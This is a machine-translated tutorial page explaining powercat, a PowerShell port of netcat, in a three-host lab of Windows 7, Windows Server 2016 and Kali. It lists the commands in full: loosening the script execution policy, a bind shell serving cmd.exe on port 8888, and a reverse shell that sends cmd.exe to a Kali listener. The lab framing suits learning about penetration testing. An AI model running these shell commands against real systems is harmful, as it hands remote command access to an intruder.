Get the App
SLTechnology News&Howtos  ›  Network Security  › 

How to use powercat

Shulou Source: shulou.com Published: 2022-06-01 00:56:30 10月04日 Update

This article mainly explains the "use of powercat", the content of the explanation is simple and clear, easy to learn and understand, the following please follow the editor's ideas slowly in depth, together to study and learn "the use of powercat" bar!

PowerCat is the powershell version of nc,PowerCat that can seamlessly connect with Netcat. More hidden.

1. Experimental environment:

Operating system IP

Windows server2016: 10.10.3.6

Windows 7 192.168.123.8 10.10.3.100

Kali2020 192.168.123.234

Conditions:

The network between win7 and server2016 is reachable

The network between win7 and kali is reachable

Kali and win2016 networks are not reachable

(remember that the failure of ping may be a firewall policy)

Run-cmd, then type powershell

Enter the command 'Import-Module.\ powercat.ps1'

If the following occurs, it is due to a permission issue

Powercat.ps1 is the script text written by PowerShell, you can write a piece of PowerShell code in notepad, and then save it as "xxx.ps1". When you want to use it, double-click to run it, but windows does not support script files by default and needs to be processed. )

Enter the command "Set-ExecutionPolicy remotesigned" and then enter "y" to elevate permissions

(there will be operations that require administrator privileges to run cmd.)

Enter the command 'Import-Module.\ powercat.ps1' again

Enter "powercat-h"

two。 Forward link powercat via netcat

Win7:powercat-l-p 8888-e cmd.exe-v

Kali:netcat 192.168.123.8 8888-vv forward link succeeded

3. Backlink:

Kali:netcat-l-p 8888-vv

Win7:powercat-c 192.168.123.134-p 8888-v

Transfer data to kali through win7.

(Chinese garbled code: to be solved)

Kali:netcat-l-p 8888-vv

Win7:powercat-c 192.168.123.134-p 8888-v-e cmd.exe

Thank you for your reading, the above is the content of "the use of powercat", after the study of this article, I believe you have a deeper understanding of the use of powercat, and the specific use needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!

Tags: Enter use method method command permission network link learn run between content situation administrator script problem management success operating system random code code Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Shulou Technology Xiaomi Shulou Information Microsoft Linux